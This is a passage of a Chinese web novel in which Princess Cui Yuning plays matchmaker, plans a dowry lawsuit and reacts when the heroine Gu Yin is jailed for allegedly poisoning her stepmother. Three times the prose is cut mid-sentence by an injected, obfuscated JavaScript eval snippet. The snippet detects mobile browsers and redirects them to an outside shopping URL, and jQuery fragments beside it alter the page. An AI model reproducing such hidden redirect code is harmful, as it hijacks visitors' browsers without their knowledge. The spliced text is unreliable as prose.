顾因见状心中不免感激道,晏宁公主竟然为了她叫自己的未婚夫婿帮忙,公主实在是太好了。 崔玉凝在一旁看着,见裴则反应冷淡,心中略有不满,甚至有些恨铁不成钢。 老婆都站在跟前了,也不知道说句话。 她在桌下轻轻踢了他一脚。 裴则纹丝不动,仿佛那一脚只是踢在了凳腿上。他抬眸看向顾因:“顾小姐不妨将事情说明一二。” 好不容易等到裴则说话,崔玉凝立刻接上:“对对,顾因你仔细同裴大人说说,我去厨房给你们拿些茶点过来。”全然忘了堂堂晏宁公主亲自为客人端茶点是多么匪夷所思的事情。 说完起身就走,裙摆都带起一阵风。 璎珞愣了一瞬,连忙小跑着跟上去:“殿下,您慢点儿——” 崔玉凝头也不回,走得飞快。璎珞跟在后面气喘吁吁:“殿下……您走得太快了……” 崔玉凝回头看她,满脸不解:“璎珞,你也该练练了,我这不过是快走几步。” “殿下……”璎珞欲哭无泪,扶着廊柱直喘气,“我一早进进出出,待客、伺候、接人,来来回回好几趟,一口水还没喝上呢……” 崔玉凝脚步一顿。 她回头看着自家小丫头那副累得不轻的模样,难得有些心虚,放慢了步子:“……那慢慢走。” 璎珞趁机跟上,小声问:“殿下,您何必亲自去取茶点?厨房会送过来的。” 崔玉凝没回头,只道:“你不懂。” 孤男寡女共处一室,她这是给他们创造机会,这个媒人她崔玉凝今日做定了。 裴则的皮相就不多说了,一会儿两个人聊起来,裴则一解惑,顾因觉得他学识渊博,一来二去自然而然就会心生好感。 …… 书房内,门被合上后,只剩顾因与裴则两人面面相觑。 顾因站在原地,有些无措,倒是裴则有几分主人的架势,抬手示意:“顾小姐请坐。” 17. 崔玉凝又胡闹 书房内,两个人相顾无言。 顾因垂眸盯着面前的茶盏,心里因为同陌生男子独处一室还有些不自在。 裴则倒是一派从容,拿过崔玉凝放在桌上的手稿翻阅起来。 最后还是顾因先受不了这份尴尬,硬着头皮开口:“久闻裴大人大名,今日还是第一次见到。” 裴则淡淡“嗯”了一声,连眼皮都没抬。 顾因等了片刻没等到下文,也把嘴边的那几句客套寒暄咽了回去。 她抿了抿唇,又补了一句:“殿下怎么还没回来?” 裴则闻言才舍得从手稿上抬头,不过他只是扫了她一眼,依旧不接话。 顾因:“……” 她忽然有些明白为什么都说裴则是高岭之花了。 …… 与此同时,已经走远的崔玉凝忽然打了个喷嚏。 她揉了揉鼻子,嘀咕道:“谁在念叨我?” “兴许……是小裴大人?”璎珞跟在后面接话。 崔玉凝想了想裴则那副样子,果断摇头:“不可能。” …… 裴则看得很快,他放下手稿转头看向外面,不知道崔玉凝又在搞什么鬼。 这些日子她的动作奇奇怪怪,先不说去国子监和京畿大营的事情,她竟然救了一个姑娘还打算救到底,小公主的善心泛滥得有些过头了。 忽然,门外隐约传来脚步声。 裴则一听便知道是谁。 崔玉凝在外面悄悄听着,实在是听不到什么动静才妥协进门。 “你们聊得怎么样了?”她笑眯眯地看向顾因,“裴大人有没有想到好办法?” 被点名的顾因顿了顿,摇头。 她看着崔玉凝那张坦坦荡荡的脸,心里头五味杂陈。小公主也太坦荡了,竟然就这么让自己的未婚夫跟别的女人共处一室,还问她聊得怎么样。 裴则却是一副事不关己的模样,视线从崔玉凝手边移到她的脸上,问:“殿下带来的点心呢?” 崔玉凝一噎,她这才想起来自己刚刚说要去厨房端茶点,结果被璎珞一打岔给忘了。 对了,璎珞呢? 崔玉凝看向门外紧赶慢赶才来的璎珞,手上还提着一个食盒:“殿下走得太急忘记拿茶点了。”璎珞一张小脸跑得通红。 崔玉凝连忙点头,顺势抬手:“快拿过来,给裴大人尝尝。” 若是旁人催着她讨茶点吃,她早就骂不要脸了,但偏偏不要脸的人是男主,另一个围观群众是女主,她非但不能说话难听,还得替他找补。 璎珞将食盒搁在桌上,打开盒盖。 食盒是紫檀木所制,盒盖上是雕刻精致的荷塘景,盒身分了上下两层。 上层摆了一碟子茶点,碟子里是各色点心,每一种点心都小小的,方便一口一个。 崔玉凝把上下两层里那两盘一模一样的点心分别摆在裴则和顾因面前。 “边吃边说吧。”她捡了一块绿豆糕放进嘴里,又看向顾因,“昨日你遣人同我说的情况我已经知道了。可还有其他进展?” 顾因犹豫地看了一眼裴则,定了定心神才道:“我查到的就只有那些田宅地契。母亲的嫁妆单子,外祖那儿还有一份。” 俗话说家丑不可外扬,即便顾因不把顾家当自家,可以无所顾忌地向公主求助,可遇到同为世家出生的裴则倒无端羞愧了起来。 当年的顾家比裴家还要富贵,只是顾家没有再出一个有能力的人,才落寞到要靠她娘的嫁妆来维持体面。 崔玉凝“嗯”了一声,端起茶盏抿了一口,转头看向裴则,“现在就是这么个情况,顾小姐的母亲去世时顾小姐年岁还小,嫁妆都由顾大人管着。后面顾大人将嫁妆与顾府的财产混同,又交由梅氏打理,留给顾小姐的东西倒是不多了。” 她三言两句尽可能简短地同裴则说清楚,这件事她心里有门道,只要顾因豁得出去脸面,嫁妆拿回来不是难事。现在她故意把露脸的机会留给裴则就是想帮他在人家那里刷刷好感。 裴则却没接这茬,反而问她:“殿下想到了什么办法?” 崔玉凝坐在书案后,闻言冷冷斜睨他一眼:“庆平十四年的探花郎,还是不要说这些话了吧。” 裴则心里有些无奈。 崔玉凝学律法,不就是为了让顾因去告官吗? 裴则见状心里有些无奈,崔玉凝学律法不就是为了叫顾因去告官吗? 小公主出发点是好的,可是如今大晏以孝为先,若是顾小姐去官府状告父母,就算只是继母,她也嫁不出去了。到时候官司是赢了,名声也毁了,哪个人家敢娶一个告过父母的媳妇? 顾家虽然落寞了,可在大晏也是有头有脸的人家,公主脾气急想帮顾因却是忘了这茬。 可公主不懂事也就算了,她做事向来仗着有人兜底就考虑不周。 这顾家小姐怎得也跟着公主胡闹?那是她家的事,她难道不清楚闹上公堂的后果。 莫非公主今日叫他过来…… 裴则想通其中关节,不由得眉心一跳。 只觉得崔玉凝实在胡闹。 “若是能够不上报官府,那便是最好。”裴则开口时,目光落在顾因身上,却依旧是一副事不关己的模样,他还是想给顾家留些脸面。 “顾小姐直接回家同你父亲说明,问清楚最后能得嫁妆几成便是。”他顿了顿,补了一句,“据我所知,顾家子女众多。若出了这种事,怕是两败俱伤,谁都讨不了好。” 话说到这个份上,已经是看在崔玉凝的面子上。否则以他的性子,这种别人家的家务事,他一个字都不会说。 顾因却不这么想,裴则身为外人终究不懂她在顾家的处境。 母亲早逝后,父亲便也不管她了,继母梅氏更是表面和善暗地里克扣。 她母亲是商户人家,虽然顾家贪用着她母亲的嫁妆,却个个都瞧不起她母亲,尤其是祖母总是悄悄把东西给几个堂姐妹。她若再不做什么反抗,倒要叫人欺负死了。 所以她没说话,只是摇摇头。 崔玉凝在一旁看着,见两人沟通不顺畅,只好再次开口替顾因解释:“顾小姐如今还未定亲,亲事是由那梅氏一手操办,嫁妆亦是,若是顾小姐此次退让,就凭顾越与那梅氏的胆子,顾小姐总是讨不到一点好的。” 她顿了顿,还是直接说明了自己的打算:“必须过了官府明路,白纸黑字写下来才做不得假。还要让京中的人都知晓,那顾越与梅氏才会乖乖把真嫁妆奉上。” 小公主不知道,但崔玉凝看过的宅斗文里多的是手段,叫出嫁的小姐哑巴吃黄连有苦说不出。 至于顾府的其他姑娘,既然顾因狠得下心那她就更没有发善心的道理了。 说完,她看向裴则。 裴则听完了,脸上还是那副波澜不惊的模样。 “既然殿下心中已经拿定主意,”他垂下眼,语气淡淡的,“那裴某就不多言了。” 这话说得客气。 可崔玉凝听出来了,他压根没被说服,只是懒得再争。 行吧,反正她本来也不是为了说服他。 她转头看向顾因,顾因也看向她。 她好像还有话要对她讲,不动声色地看了一眼裴则,想让这个人先走。 崔玉凝意会,正要再说些什么,却见裴则已经站起身来。 她故意装作没看见,倒是裴则直接:“裴某就不多留了,不打搅殿下与顾小姐说私房话。” 说罢,转身便走。 崔玉凝望着他的背影,一个头两个大。 男女主不应该对上眼就天雷勾地火吗?怎么到她这里,两个人统共没说上十句话? 她摆摆手叫裴则先走了,自己则是跟顾因商量一下顾府接下来的事情。 …… 这边裴则出了公主府以后,也不着急回裴府。 他在府门前站了片刻,决明跟在身后,觑着他的脸色,也不敢问。 现在回去,可是要叫裴太傅笑话的。 祖父那张嘴他可太清楚了,若是叫他知道他这么早就从公主府出来,少不得要念叨几句。 还有祖母,要是祖母知晓肯定也要念叨。 还不如去东宫。 他转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300083|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身就直接往东宫去了,决明愣了愣,连忙跟上。 他与太子两人虽是君臣,但关系一向很好。 更何况,崔玉凝要做得事还是先知会崔璟祁一声为好,到时候真的出事还是要他这个当哥哥的兜着。 他既不是崔玉凝的未婚夫也不是什么有身份的人,他没权利做这个主。 这个念头冒出来时,裴则脚步微微一顿。 旋即又若无其事地继续往前走。 …… 东宫正殿,崔璟祁难得休沐,正兴致盎然地在作画。 这是崔璟祁众多爱好之一,裴则对此也很无奈,他们大晏的太子于画道实在不算精通,偏偏又爱得不行。祖父多次嘱咐过他,不要随意在崔璟祁面前作画,免得打击太子的兴致。 他都明白的。两人一道学画时,夫子也曾玩笑似的提醒过他:“裴小郎君画得差不多就行了。” 彼时他不解其意,同为天之骄子还不服气,后来学了史才明白…… “殿下。”裴则作揖行礼,皇室中能被称作殿下的只有太子与晏宁公主二人。 崔璟祁抬头看他,眼睛一亮:“怎得这般早就过来?不给凝儿做夫子了?” 他说着,手上没停,往画上点梅花。 裴则扫了一眼,那梅花树枝走势实在是有点一言难尽。 她知道太子有心调侃自己,只好实话实说:“我是从公主那里过来的。” “怎得?被凝儿赶出来了?”崔璟祁斜眼看他,嘴角噙着笑,“怕不是你去的太早,扰人清梦。” 裴则无奈:“殿下休要再调侃我了。” 他顿了顿,正色道:“公主怕是要同顾家女一起去官府告顾越。” 崔璟祁的笔尖一顿。 墨汁在宣纸上洇开一小团,把他画了一半的梅花染成了墨团,崔璟祁低头看着那团墨渍,愣了愣,忽然“啧”了一声。 他放下笔,抬起头,脸上的笑意敛去了几分:“顾越?” “是。” “为了嫁妆那事?” “殿下知道?”裴则微微挑眉。 崔璟祁往后一仰,靠在椅背上,语气里带着点无奈:“凝儿同我提过,之前七夕那天的小宴就来提前问过孤了。” 他顿了顿,看向裴则,眉头微皱:“怎的?这事非要闹到官府不可?” 裴则没说话,只是点了点头。 崔璟祁沉默了片刻。 “晏宁是君,顾越是臣。”他开口时,语气没了刚才的随意,还叫了崔玉凝的封号,“她不能亲自掺和这事。” 裴则看着他,问:“那殿下打算怎么做?再把公主叫来问责吗?” 闻言,崔璟祁忽然笑了,“你这话有意思,好像不愿意叫孤管她。” 裴则没接这话。 崔璟祁也不在意,自顾自往下说:“凝儿做事,孤与母后还有章贵妃向来都是纵着,可到底不能没了规矩。” 说到这里崔璟祁顿了顿,看向对面的人,“到时候御史弹劾她,怕是连父皇都挡不住。” 说完崔璟祁似有些不满,“你怎么回事?就算没劝下来也应该能想到迂回的办法吧。” 闻言裴则倍感冤枉,他就知道一遇到崔玉凝的事,他们崔家就全怪到别人头上。 他只淡淡道:“臣来知会殿下一声。” 说完他抬眼,就发现崔璟祁正看着他。 裴则沉默了片刻,才说:“殿下若无他事,臣先告退了。” 一大早尽受他们兄妹俩的气了。 崔玉凝想干什么他能拦得住吗?他又不是,又不是…… 崔璟祁看着他这副模样,笑出了声。 “行了,”他摆摆手,“你去吧。” 裴则转身便走。 走到门口时,身后传来崔璟祁悠悠的声音:“对了,你觉得孤画得如何?” 裴则脚步一顿。 他回头看了一眼那幅难看的梅花,又看了看崔璟祁那张期待的脸。 “……甚好。”他说。 然后头也不回地走了。 身后传来崔璟祁爽朗的笑声。 18. 梳理一下 这边崔玉凝还不知道自己的行动已经在无形之中被扼杀在摇篮里,还在兴致勃勃跟顾因讨论下一步要怎么做。 若是她不出面,凭借京兆尹同顾越之间的私交定是会偏袒另一方的,至少她们要在对簿公堂之前把所有账都算清楚。 “殿下,这就是我从外祖那里拿回来的嫁妆单子。”顾因从随身携带的荷包里拿出折了好几折的单子,双手递给崔玉凝。 崔玉凝伸手接过,这单子还是簇新的,显然是特地誊抄的版本,分了好几张纸记录。 等看到单子上面的内容时才意识到何为富可敌国。 什么猫儿眼祖母绿南珠北珠……写了满满一张纸,这些都是首饰头面,她的指尖顺着纸面往下划,光是这些东西就记了三四张纸。 翻到后面,田宅铺子列得清清楚楚,京城的、江南的、蜀地的,几乎遍布整个大晏。 见崔玉凝半天没吭声,顾因有些不安地动了动:“殿下?” “你外祖家……”真有钱啊。 这话崔玉凝没说出口,吴家是皇商,早年间富可敌国都说得,这些嫁妆都是吴家当年最富贵的时候给女儿置办的。 顾因适时补充:“殿下,我外祖说这些东西折合现银是一百二十万两左右。” 说完她停顿了一下,垂下眼眸盯着地面,语气中都带着疲惫:“不过我找不到我母亲的账本了,母亲当年嫁到顾家的时候顾家就已经是败絮其中了,嫁过来十年就贴补了顾家十年,如今我也不知晓嫁妆用了多少。” 她说着说着声音就低了下去,将自己的家事剖白在别人面前还是羞耻。 崔玉凝把单子放到桌上,伸手拍了拍她的手,耐心哄道:“别急,总有办法的,咱们慢慢梳理。” 她托着下巴想了一会,忽然想到昨日看到的案例:“嫁妆都是女子自己分配的,就算你母亲的嫁妆都用到顾家去了,若是你父亲拿不出账本,那也无法证明,京兆尹再偏心至多也只是按照正常从三品官员一年家中的嚼用来扣除嫁妆,最后再由你同你父亲来争剩下的。” “我叫琅珠比照公主府的开销算了一下从三品官员府里的开销,大概是五千两左右。” 顾因眨了眨眼,她还真没想到可以这么算,她嘴唇动了动,又迟疑起来:“可是我不清楚父亲手中有没有账本……或者会不会捏造假账本。”顾因心里很快算了一笔账,虽然她不清楚家里的开销,但大体还是有数的,一年左右花不过三万两去。 听到这里崔玉凝沉默地看向顾因,“我知晓你顾家尚未分家,家中主子多奴才更多,一年到头的嚼用肯定也更多。” 崔玉凝没说出口的话是顾家人奉行奢靡爱好攀比,小说中顾家女都以攀比为荣,顾家三叔更是花费重金在外面的女人身上。 顾因也听出了崔玉凝的言下之意,不过她也不喜欢顾家人,甚至还点了点头:“顾家人口众多,没有五百也有三百,若是能按照寻常官员家中花费计算一定是有利于我的,就算只是按人头算均数也是有利于我。” 她说到这里坐直了身子,声音也清亮了几分。 “那你父亲手中的账本?”崔玉凝再次提起刚刚那个问题,顾因突如其来的自信让她感到害怕。 反倒是这会儿已经想清楚的顾因很果断:“他有也好,没有也罢,母亲的账本是不是在他手上不影响他需按照母亲的嫁妆分量为我准备嫁妆。我要拿回的是属于我的那一份。” 崔玉凝听到这里才明白女主一直在担心些什么,脱口而出:“你父亲不给你准备嫁妆吗?” 顾因点点头,“他给我准备的嫁妆里全然没有我母亲的东西……” 崔玉凝彻底听懂了,顾越扣了顾因的嫁妆来贴补顾家也为自己打通官路,有了嫁妆单子事情就好办了,最好是同顾越五五分,若是顾越要脸那就要把东西还给顾因。 “既然如此那你就先把账算明白,最好能进库房把首饰什么的都点清楚,至少我们要掌握主动权。”崔玉凝手指在嫁妆单子上点了点,又递还给顾因。 顾因应了一声,低头把单子重新折好,仔仔细细地收进荷包。 两人又聊了几句其他,崔玉凝见外头日头正好,便起身送她。 “回去路上小心。”崔玉凝亲自将顾因送至门口,牵着她的手嘱咐道。 顾因也捏了捏崔玉凝的手,“好,我知道啦。” 这一出是为了给盯梢的顾家人看的,好叫他们看清楚顾因同晏宁公主的的确确是关系极好。 两个人在门口又站了一会儿,顾因才转身上了马车。 送走顾因,崔玉凝一转身,刚跨过门槛,璎珞就迫不及待凑过来在她耳边小声说:“殿下,我刚刚看到树丛里有人!” 崔玉凝脚步一顿,往璎珞指的方向瞟了一眼。那树丛枝叶还在轻轻晃动,明显是有人刚离开。 她挑了挑眉:“我也看到了,这是哪里来的笨蛋?”一般来说暗中观察会很隐蔽,如此明晃晃在人眼皮子底下倒是少见,躲也不知道躲好点。 崔玉凝收回目光,一边往里走一边吩咐:“一会儿你叫青酒去查查那个人。盯得这么蠢,看看是谁家的人。” 璎珞连连点头,还要说什么,被崔玉凝抬手止住了,“本公主要好好睡个午觉,一会儿谁都别来叫我!” 拜托她真的受不了了,本来就没睡多久,还废了这么多脑子,她这会儿连饭都不想吃。 …… 裴则回到家之后径直就回了江澜院。 他进了书房,本想静下心来读会儿书,可翻了两页就看不进去了。脑子里乱糟糟的,一直浮现崔玉凝被御史弹劾的画面,最后陛下不得不打了崔玉凝十大板的画面。 想想都觉得荒唐。 他放下书,起身在书房里来回踱步,走了一会儿又坐回去,坐下又起身。 最后他还是放心不下。 “络石。”他朝门外喊了一声。 络石听到后立刻走了进来,他穿着一身管事的衣袍,规矩地垂手等吩咐。 裴则有四个小厮,决明和望星是时常跟在他身边的,鹿衔武功好平时负责外务,而络石一直都在江澜院里,算是江澜院的管事,也是晏宁公主没有见过的人。 只有他们四个完完全全是他的人,其他不是江大夫人的人就是江老夫人的人。 她们需要他的动向,那他就明明白白告诉她们好了。只需要知道谁是谁的人,到时候待他娶妻,江澜院人事少不得要大变动一场,到时候再一起清出去也不迟。 他靠在椅背上,手指在桌上敲了两下:“你去公主府门口盯着,别叫人发现。远远看着就行,看看有没有什么动静,尤其是……公主去哪儿了。” 络石很利落,没多问转身就出去了。 裴则又读了会儿书,可没读几行太子刚刚说的话又浮现在眼前了。 “实在是太不像话了。”他捏了捏眉心,又摇摇头,试图把这幅诡异的画面从脑海中赶出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360666|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 夏天很适合午睡,尤其是熬了个大夜又起了个大早以后。 崔玉凝这一觉直接睡到了用晚膳的时间。床帐的不透光性很好,若不是外头蝉鸣渐弱她还意识不到时间流逝。 公主府连蝉都是自由的,今年入夏太快,琅珠还来不及吩咐下去就已经到了烈日炎炎的时候,崔玉凝没想过要抓,只有宫人们偶尔会抓来玩。 璎珞一直守在门口,一听到内室有动静就立刻小声询问:“殿下,醒了吗?要不要先起床用晚膳。” “嗯……”崔玉凝含含糊糊应了一声,把脸往枕头里埋了埋,“你去拿来吧。” 晚上不用见人,就不用麻烦璎珞帮忙梳妆了。她闭着眼睛又赖了一会儿,听着璎珞的脚步声走远。 饭食一直在厨房里温着,璎珞回来的时候,崔玉凝还在床上坐着,头发披散在身后,眼睛半睁半闭。 璎珞把食盒里的饭菜一道一道摆在桌上,一边摆还一边闲话:“殿下,您快下来吧,今日厨房做了鱼香茄子,可香了您快来尝尝。” 崔玉凝也闻到了香味,终于慢吞吞挪下床,晃到桌前坐下。 璎珞立刻在一旁给她挽袖子,手指灵活地把袖口往上折了两折,又用打湿的帕子为崔玉凝擦了擦手。 干完这一切才又转身走进内室。 按照宫里的规矩她应当是要给公主布菜的,不过公主说过只有她一人用膳的时候就不用那么麻烦了。 崔玉凝在外间吃饭,筷子夹起一块茄子送进嘴里,眼睛微微眯起,的确很香啊。 璎珞就在内室整理床铺,偶尔传来一两下拍枕头的闷响。 “对了,殿下,还记得您中午的时候见到的那个树丛里的人吗?”璎珞的声音从内室传来,她怕崔玉凝已经忘了。 崔玉凝“嗯”了一声,心里还在走神想着公主府厨艺大涨还要归功于她讨了几个厨子回来。 “青酒抓到那人了,您猜那人是谁派来的?”璎珞卖了个关子,语气里是抑制不住的兴奋。 崔玉凝听到这里才觉得好奇,要是顾府或者宫里那些人都不稀奇,璎珞也不会这么卖关子。 她想了想,随口猜了一个:“章舒窈?”崔玉凝实在是想不出来还有谁会好奇她的动向。 璎珞没有立刻回答,而是整理完床铺从内室走出来了。 “是小裴大人的人!”说出这个名字的时候璎珞格外激动眼睛都亮了,好像这就是公主府未来板上钉钉的男主人了。 “?”崔玉凝也觉得奇怪,裴则怎么会派人过来,还是派这么没用的人,难道裴家连个会武功的人都找不到了? 想到这里她不禁对裴则起了一丝怜悯,表面光风霁月的探花郎私底下连个得用的人都没有。 差点忘记自己堂堂公主身边也没有一个能打的人,连厨子都是问太子要的。 “那青酒问出来他来干什么了吗?”崔玉凝看向璎珞。 璎珞摇摇头:“没有了,那人什么都没说,只是以前去过东宫,青酒刚巧认识。殿下,您说小裴大人是不是……” “是什么?”崔玉凝打断她,继续吃饭,“人还关着吗?等我想想怎么处理。” 听到问话璎珞脸刷一下就白了。 崔玉凝也没放过这一变化,立刻眯起眼睛看向璎珞:“你们把他放了?” 璎珞硬着头皮点点头,这也不能怪她啊,公主府从来就没抓过人,她怎么会知道抓了人还要关起来啊。 19. 顾三小姐谋害继母 络石回到江澜院的第一件事就是报告自己被发现的事实。 他站在裴则对面,垂着头,全然不是出门前的管事打扮,而是一身灰扑扑的盯梢专用的短打。 他一副做错事的模样:“少爷,我……被发现了。” 裴则手里的书翻了一页,没抬头。 络石等了又等,见没反应,又硬着头皮补充:“公主身边那个叫青酒的功夫实在是太好了,我都跑过一条街了她还是把我抓到了。不过我什么都没说,一个字都没说。” 裴则这才抬眼看他,目光在他脸上停留片刻,然后摆摆手:“知道了,下去吧。” 络石愣了一下,显然没想到少爷就这么轻飘飘放过了他。他站在原地犹豫了一瞬,临走前还不忘给自己拉好感:“少爷,我嘴牢得很,一个字都没说。” 裴则没理他。 络石讪讪转身往外走,快到门口时,身后忽然传来一句:“那公主与顾小姐说了什么你听到了吗?” 络石脚步一顿,转过身来,委屈地摇摇头:“少爷,听墙角这种事应该叫鹿衔去做,我哪里做的来。”说完他还小声嘀咕着:“真有什么话怎么可能在大门口说啊。” 这句话也一字不拉的落入裴则的耳中,他深吸一口气,太阳穴突突跳了两下,“赶紧下去吧!” 络石不敢再多话,直接就走了。 …… 五天后。 顾因状告继母的消息没等来,反而“顾三小姐谋害继母”的消息传遍了大街小巷,速度之快叫所有知情人都来不及反应。 崔玉凝正歪在榻上看话本子,璎珞急匆匆进来的时候她还以为厨房又做了什么新点心。 “殿下,顾三小姐出事了。”璎珞喘了口气,又说,“她的外祖母正在外面求见您呢。” 崔玉凝愣了一瞬,又立刻起身,一边往外走一边问:“怎么回事?” 正厅内,吴家老太太被人扶起来的时候眼睛已经哭得通红,脚步都是踉跄的。一见到崔玉凝,她扑过来就要往下跪:“殿下,求求您救救因儿!” 崔玉凝吓了一跳,赶紧上前将人扶住,跟璎珞一起把老太太按回座位上:“老夫人您先别哭,到底出了什么事啊?” 她嘴上问着,心里已经乱成一团。小说里可没这出,女主怎么可能下狱呢?! 这一定是在跟她开玩笑对吧,这就是一个梦! 老太太坐下来以后缓了好半天才断断续续开口:“因儿……因儿在私下查嫁妆的事,叫她那杀千刀的爹发现了。她那继母梅氏喝了她送去的汤便中了毒,现在梅氏躺在床上半死不活,因儿被关在京兆府里,她叫我来求助公主您……” 说到最后老太太已经泣不成声。 听完前因后果崔玉凝忍不住苦笑,怎么会是这么随便的套路,放在小说里她都要骂一句蠢货。 她耐着性子问老太太:“顾因怎么会给她继母送汤呢?”这种明显把把柄递给别人的事顾因怎么会做呢。 老太太擦了擦眼泪,“梅氏这几日生病了,叫她去侍疾。因儿没办法,不去就是不孝,谁知道就这里出了问题……”她说着又哽咽起来,“殿下,因儿是冤枉的啊,她怎么可能做这种事……” “汤是顾因主动要做的?”崔玉凝心知顾因绝不会在这种时候给梅氏下药,随即抓住了重点。 老夫人被突然问道,愣了一下,她也不清楚问题的具体情况,皱着眉头回忆了片刻:“是梅氏院子里的人跟因儿说梅氏想喝因儿炖的汤,不过因儿炖汤很好喝,以前也常炖给家里人喝。” “那那些经手过这汤的人呢?都抓起来了吗?” 老太太点点头,又摇摇头,语气里还有点愤怒,“不知道有多少人接触过,不过应该都抓起来了,就是他们指控这事是因儿做的。可这些人的身契都在梅氏手上,没一个人会说实话的。” 说到这里老太太又急起来,“殿下,您一定要想想办法,我们吴家没用,守不住女儿,现在也帮不到外孙女,因儿她是个好孩子。” 崔玉凝拍拍老太太的手安抚她,又问了好几个问题。 老太太有些答得上,有些答不上,答不上问题的时候又急得要哭,翻来覆去就是那几句“因儿是冤枉的”。 崔玉凝问的心累,但心里大概有数,便叫人送老太太回去。 …… 送走老夫人后,一行热泪直接从崔玉凝眼眶中落下。 她站在正厅里,眼泪啪嗒啪嗒往下掉,自己都没反应过来。璎珞在旁边递帕子她也没接,就那么站着发呆。 这算什么事?!现在故事走向都不是她能控制的了,而她穿过来以后什么都没做。 虽然她帮了女主,可只帮了个开头;虽然她撮合男女主,可两个人也没说几句话…… 事情发展到这个地步,女主真的还能救出来吗? 在大晏,父母告子女,子女压根就没有翻盘的先例。 尤其,顾因现在的罪名是谋害继母,作为重罪,还是大晏官员家里的重罪,是要作为典型记录下来的。 到时候证据确凿,人证物证齐全,顾因百口莫辩,还不知道有没有命留下。 “殿下,您别哭啊。”璎珞一直在一旁陪着,这时候看到崔玉凝哭了就立刻慌了,她怎么不知道公主跟顾因的关系这么好了,居然还为人家哭了。 崔玉凝闻言摸了摸自己的脸,才发现自己脸上湿湿的,她还是太命苦了。 本来以为一切尽在掌握,突然发现一切皆是意料之外。 现在她能做什么? 她逼着自己冷静下来,只是一个小小的问题,一定能解决的! 顾因肯定是被冤枉的,只要找到证据就能翻案。首先就是要去京兆府看看顾因,把情况问清楚。 “备马车。”崔玉凝站起身,“我要去京兆府。” “殿下,冷静啊殿下,不能去。”璎珞差点就要答应,好在她理智尚存,知晓这种情况公主不能掺和进去,赶紧上前一步拉住崔玉凝的袖子。 崔玉凝回过头,皱起眉头:“为什么不能去,我是公主,我去了至少能给顾因一点优待。牢里什么条件你不知道吗?她一个娇滴滴的姑娘关个几天早就不行了。” “不行不行,”璎珞死死拽着她的袖子不松手,急得脸都红了,声音也压低了生怕外头听见,“贵妃娘娘说过您做什么事情要抛头露面的都必须忍一忍。您现在去京兆府明天就要完蛋了啊,到时候您被禁足就更没办法帮顾小姐了。” 崔玉凝停在原地,璎珞的确没说错,她要是被禁足就更完蛋。 璎珞趁热打铁,语气也缓下来:“殿下,您现在去走这一趟除了叫贵妃娘娘头疼以外真的一点用也没有啊。” 她转身往书房走,试图从书里得到一些答案。 坐下来之后,她手指无意识地敲着桌面,脑子里飞速转着。 首先,要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364380|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅氏的身份摘出去,继母非母,律法上跟亲生母亲不一样,只要强调梅氏同顾因不是母女,那京兆尹就不能一棒子打死将顾因定罪恶逆。 据她所知,顾因的母亲死后顾越很快就抬了梅氏进门。虽然大晏律例中没有相关规定,不过有头有脸的世家大族一般都以三年为期,普通人家则是以一年为期。而顾越娶梅氏的时候吴氏尸骨未寒,这也是大家一直诟病顾家的问题。 其次就是崔玉凝不确定梅氏与顾越同顾因的纷争是否可以摆到明面上来谈,她不知道这是催命符还是保命符。梅氏进门以后就生了一个儿子,顾家一定会为了梅氏,为了顾家的孙子,为了嫁妆,统一口径陷害顾因的。 顾家上下几百口人都站在顾因的对立面,只有顾因完蛋了他们的日子才好过。 所以,她还是得从外面想办法,把顾越侵吞嫁妆的证据找出来才行。 …… 宫里下朝后,崔璟祁从喜乐手中接过一早就备好的酸梅汤,酸梅汤的凉意从喉咙一路滑下去,驱散了些许暑气,一口饮完才揉了揉脖子走出大殿。 刚走出大殿没几步,就听见前面的几个大臣一边走一边交头接耳地议论。 “顾家到底怎么回事,不是说顾越的女儿是个贤惠的?我家夫人前些日子还准备去顾家提亲呢。”其中一个大人说的时候语气里还带了几分惋惜,可惜一桩好婚事泡了汤。 “听说是顾越现在那位夫人苛待前头生的女儿,那女儿忍不住才动手的。想必顾越也是气极了才要告官。”另一个大人接话,声音里带着几分唏嘘。 “这不是胡闹嘛!怎么能如此大逆不道……” 声音不大不小,几位大人也没想过要压低声音给顾越留些面子,对话顺着风飘进崔璟祁的耳朵。 他脚步稍稍慢了一步,面上没什么表情,只当没听见,继续往前走。 喜乐跟在崔璟祁身后,小声把方才几位大人讨论的事情从头到尾说了一遍。 散朝前御史把顾家的事提了出来,说官员家眷犯下如此重罪应当严惩以正视听,最好作为典型案例写进律法当中。 喜乐依稀记得这个顾家小姐就是最近同晏宁公主走得很近的人,他就立刻去了解了一下事情的原委。 